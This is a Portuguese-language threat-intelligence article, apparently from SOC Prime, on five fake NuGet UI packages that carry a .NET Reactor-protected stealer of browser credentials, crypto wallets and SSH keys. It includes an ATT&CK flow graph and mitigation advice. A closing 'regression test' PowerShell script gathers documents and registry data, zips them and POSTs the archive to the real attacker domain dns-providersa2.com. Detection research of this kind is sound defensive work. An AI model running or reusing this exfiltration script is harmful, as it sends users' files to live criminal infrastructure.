SOC Prime Bias: Crítico

12 Mai 2026 18:21

Cinco Pacotes Falsos de UI do NuGet Entregam Roubadores de Carteiras de Criptomoedas e Credenciais

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Cinco Pacotes Falsos de UI do NuGet Entregam Roubadores de Carteiras de Criptomoedas e Credenciais
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Cinco pacotes NuGet publicados na conta bmrxntfj imita bibliotecas de interface de usuário .NET chinesas conhecidas e incorpora um infostealer protegido com .NET Reactor. A carga maliciosa é ativada assim que o DLL é carregado, sequestra o compilador JIT e rouba credenciais do navegador, dados de carteiras de criptomoedas, chaves SSH e arquivos locais antes de extrair para um domínio de comando e controle recém-registrado. Mudanças frequentes de versão e listagens de pacotes ocultas ajudam a operação a evadir detecções baseadas em hash simples, criando risco para estações de trabalho de desenvolvedores e ambientes CI/CD.

Investigação

Os pesquisadores desembrulharam o malware protegido com .NET Reactor, identificaram um assembly .NET de segunda etapa chamado we4ftg.exe, e recuperaram strings de configuração da memória. Sua análise mostrou quais navegadores e extensões de carteira foram alvo, documentou um esquema de cabeçalho HTTP personalizado e identificou um local de preparação sob o diretório OneDrive. A investigação também revelou detalhes de infraestrutura, incluindo o domínio de comando e controle, seu endereço IP e um servidor Git privado relacionado.

Mitigação

Os defensores devem bloquear a resolução DNS e o tráfego de saída para o domínio e endereço IP de comando e controle identificados, monitorar a criação do arquivo keys.dat dentro da pasta OneDrive e alertar sobre o cabeçalho HTTP X-xxx qualquer IR.* pacotes devem ser removidos das árvores de dependência e substituídos por bibliotecas legítimas verificadas. Todas as credenciais potencialmente expostas, tokens e segredos devem ser rotacionados imediatamente.

Resposta

Qualquer sistema que restaurou ou carregou um dos pacotes maliciosos deve ser tratado como comprometido, isolado e submetido a uma rotação completa de credenciais. O conteúdo da detecção deve ser atualizado com os indicadores publicados, e as equipes devem coordenar com os administradores da Galeria NuGet para garantir que os pacotes maliciosos sejam removidos e a conta do editor suspensa. IR.* packages should be treated as compromised, isolated, and subjected to full credential rotation. Detection content should be updated with the published indicators, and teams should coordinate with NuGet Gallery administrators to ensure the malicious packages are removed and the publisher account is suspended.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes – Techniques tech_supply_chain["<b>Técnica</b> – <b>T1195.002 Comprometimento da Cadeia de Suprimentos</b><br/><b>Descrição</b>: Comprometimento de uma cadeia de suprimentos de software para injetar código malicioso em pacotes legítimos."] class tech_supply_chain technique tech_appdomain_hijack["<b>Técnica</b> – <b>T1574.014 Sequestro do Fluxo de Execução: Gerenciador AppDomain .NET</b><br/><b>Descrição</b>: Adversários sequestram o .NET AppDomainManager para executar código antes que o aplicativo pretendido seja iniciado."] class tech_appdomain_hijack technique tech_obfuscation["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/><b>Descrição</b>: Uso de empacotamento, criptografia ou outros métodos para esconder código ou dados maliciosos."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>Técnica</b> – <b>T1127 Execução de Proxy de Utilitários de Desenvolvedores Confiáveis</b><br/><b>Descrição</b>: Abuso de utilitários de desenvolvedores legítimos ou gerenciadores de pacotes para executar código malicioso."] class tech_trusted_dev_proxy technique tech_software_ext["<b>Técnica</b> – <b>T1176 Extensões de Software</b><br/><b>Descrição</b>: Aproveitamento de extensões de software ou plugins para obter execução."] class tech_software_ext technique tech_process_discovery["<b>Técnica</b> – <b>T1057 Descoberta de Processos</b><br/><b>Descrição</b>: Enumerar processos em execução no sistema da vítima."] class tech_process_discovery technique tech_file_dir_discovery["<b>Técnica</b> – <b>T1083 Descoberta de Arquivos e Diretórios</b><br/><b>Descrição</b>: Listar arquivos e diretórios para localizar dados valiosos."] class tech_file_dir_discovery technique tech_browser_info["<b>Técnica</b> – <b>T1217 Descoberta de Informações de Navegador</b><br/><b>Descrição</b>: Coletar informações sobre navegadores e extensões instaladas."] class tech_browser_info technique tech_browser_credentials["<b>Técnica</b> – <b>T1555.003 Credenciais de Navegadores Web</b><br/><b>Descrição</b>: Extrair senhas salvas, cookies e outros materiais de credencial dos navegadores."] class tech_browser_credentials technique tech_private_keys["<b>Técnica</b> – <b>T1552.004 Credenciais Não Seguras: Chaves Privadas</b><br/><b>Descrição</b>: Localizar e exfiltrar chaves SSH privadas e outras chaves criptográficas."] class tech_private_keys technique tech_credentials_files["<b>Técnica</b> – <b>T1552.001 Credenciais em Arquivos</b><br/><b>Descrição</b>: Procurar por materiais de credenciais armazenados em arquivos de configuração ou dados."] class tech_credentials_files technique tech_data_staged_local["<b>Técnica</b> – <b>T1074.001 Dados Preparados: Local</b><br/><b>Descrição</b>: Dados coletados são agregados no host local antes da exfiltração."] class tech_data_staged_local technique tech_data_staged_remote["<b>Técnica</b> – <b>T1074.002 Dados Preparados: Remoto</b><br/><b>Descrição</b>: Dados são preparados em um local remoto, como armazenamento em nuvem."] class tech_data_staged_remote technique tech_process_injection["<b>Técnica</b> – <b>T1055.001 Injeção de Processos: Injeção de Biblioteca de Link Dinâmico</b><br/><b>Descrição</b>: Injetar DLLs maliciosos em processos legítimos para execução furtiva."] class tech_process_injection technique tech_sandbox_evasion["<b>Técnica</b> – <b>T1497.002 Evasão de Virtualização/Sandbox: Verificações Baseadas em Atividade do Usuário</b><br/><b>Descrição</b>: Detectar ambientes sandbox verificando nomes de usuário ou nomes de computadores conhecidos."] class tech_sandbox_evasion technique tech_c2_web["<b>Técnica</b> – <b>T1071.001 Protocolo de Camada de Aplicação: Protocolos Web</b><br/><b>Descrição</b>: Usar HTTP/S para se comunicar com servidores de comando e controle."] class tech_c2_web technique tech_junk_data["<b>Técnica</b> – <b>T1001.001 Ofuscação de Dados: Dados Inúteis</b><br/><b>Descrição</b>: Adicionar ruído aleatório às cargas de rede para dificultar a detecção."] class tech_junk_data technique %% Nodes – Tools and Malware tool_nuget_pkg["<b>Ferramenta</b> – <b>Nome</b>: Pacote Malicioso NuGet IR.*<br/><b>Descrição</b>: Pacotes publicados no NuGet que imitam bibliotecas .NET chinesas legítimas e são puxados durante a restauração."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>Ferramenta</b> – <b>Nome</b>: .NET Reactor (Necrobit)<br/><b>Descrição</b>: Empacota e criptografa assemblies .NET, adiciona assinaturas anti-adulteração RSA‑1024."] class tool_dotnet_reactor tool malware_payload["<b>Malware</b> – <b>Nome</b>: Carga .NET Reactor<br/><b>Descrição</b>: Assembly .NET criptografado carregado pelo inicializador AppDomainManager."] class malware_payload malware tool_sharpinjector["<b>Ferramenta</b> – <b>Nome</b>: SharpInjector<br/><b>Descrição</b>: Injetor .NET que realiza injeção de DLL em processos de longa duração como explorer.exe."] class tool_sharpinjector tool process_explorer["<b>Processo</b> – <b>Nome</b>: explorer.exe"] class process_explorer process process_dllhost["<b>Processo</b> – <b>Nome</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>Dados</b> – <b>Caminho</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flow Connections tech_supply_chain –>|entrega| tool_nuget_pkg tool_nuget_pkg –>|ativa| tech_appdomain_hijack tech_appdomain_hijack –>|carrega| malware_payload malware_payload –>|empacotado por| tool_dotnet_reactor tool_dotnet_reactor –>|habilita| tech_obfuscation tech_obfuscation –>|facilita| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|usa| tech_software_ext tech_software_ext –>|habilita| tech_process_discovery tech_process_discovery –>|leva a| tech_file_dir_discovery tech_file_dir_discovery –>|leva a| tech_browser_info tech_browser_info –>|habilita| tech_browser_credentials tech_browser_credentials –>|coleta| tech_private_keys tech_private_keys –>|coleta| tech_credentials_files tech_credentials_files –>|prepara| tech_data_staged_local tech_data_staged_local –>|escreve em| data_staged_file data_staged_file –>|sincroniza com| tech_data_staged_remote tech_data_staged_remote –>|usa| tool_sharpinjector tool_sharpinjector –>|injeta em| process_explorer tool_sharpinjector –>|injeta em| process_dllhost process_explorer –>|suporta| tech_process_injection process_dllhost –>|suporta| tech_process_injection tech_process_injection –>|verifica| tech_sandbox_evasion tech_sandbox_evasion –>|permite| tech_c2_web tech_c2_web –>|transmite com| tech_junk_data %% Class Assignments class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Telemetria & Baseline Pré-vôo deve ter passado.

Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados irão levar a um diagnóstico incorreto.

  • Narrativa e Comandos do Ataque:
    Um adversário comprometeu um pacote NuGet legítimo que, ao ser importado em um aplicativo .NET da vítima, inicia uma carga útil PowerShell. A carga útil realiza as seguintes etapas:

    1. Descoberta (T1082, T1083): Coletar a versão do sistema operacional e enumerar documentos do usuário.
    2. Coleta de Credenciais (T1552.001): Ler credenciais armazenadas no registro.
    3. Arquivo (T1560): Comprimir os arquivos coletados em um arquivo ZIP.
    4. Ofuscar Cabeçalho (T1027): Adicionar um cabeçalho HTTP personalizado X-Auth-Token: <string‑aleatória> para disfarçar o tráfego de exfiltração.
    5. Exfiltração C2 (T1071.001, T1005, T1195.002): POST o arquivo para o servidor C2 malicioso em dns-providersa2.com (ou seu IP fixo 62.84.102.85).

    O uso do X- cabeçalho satisfaz diretamente a regra Sigma http.request.header|contains: "X-" cláusula, enquanto o destino coincide com o IoC estático.

  • Script de Teste de Regressão:

    # -----------------------------------------------------------------
    # Teste de Regressão – Acionar regra Sigma “Comunicação C2 Maliciosa”
    # -----------------------------------------------------------------
    # 1. Coletar informações do sistema (T1082)
    $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory
    
    # 2. Enumerar documentos do usuário (T1083)
    $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue
    
    # 3. Ler uma amostra de credencial do registro (T1552.001)
    $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
    $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String
    
    # 4. Empacotar dados (T1560)
    $tempZip = "$env:TEMPexfil_$(Get-Random).zip"
    $items = @($sysInfo, $docs, $storedCred)
    Compress-Archive -Path $items -DestinationPath $tempZip -Force
    
    # 5. Preparar cabeçalho HTTP personalizado (ofuscação – T1027)
    $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"
    
    # 6. Exfiltrar via HTTP POST para C2 malicioso (T1071.001)
    $c2 = "http://dns-providersa2.com/upload"
    Invoke-WebRequest -Uri $c2 `
                      -Method Post `
                      -InFile $tempZip `
                      -ContentType "application/octet-stream" `
                      -Headers @{'X-Auth-Token' = $authToken}
    
    # 7. Limpar artefato local
    Remove-Item $tempZip -Force
  • Comandos de Limpeza:

    # Remova quaisquer arquivos temporários que possam permanecer do teste
    Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force
    
    # Redefinir tamanho do log de firewall (opcional)
    netsh advfirewall set allprofiles logging maxfilesize 4096